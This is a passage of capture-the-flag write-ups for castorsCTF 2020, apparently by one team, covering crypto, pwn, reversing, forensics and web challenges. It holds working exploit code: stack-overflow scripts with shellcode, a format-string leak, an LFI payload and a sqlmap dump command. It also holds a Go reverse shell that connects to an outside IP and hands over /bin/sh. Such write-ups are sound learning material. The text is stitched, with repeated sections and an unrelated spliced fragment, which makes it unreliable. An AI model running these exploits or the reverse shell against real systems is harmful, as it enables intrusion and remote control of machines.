> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
It is not super-detailed,
(although it still turned out to be pretty long)
but I hope it explains the main ideas:
https://paper.dropbox.com/doc/DefCon-CTF-2020-ooo-flag-sharing--A0I~j7vZ3aoLA6d9rZOfGi4uAQ-a69qqRwBINkdCEVfNUN1S |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
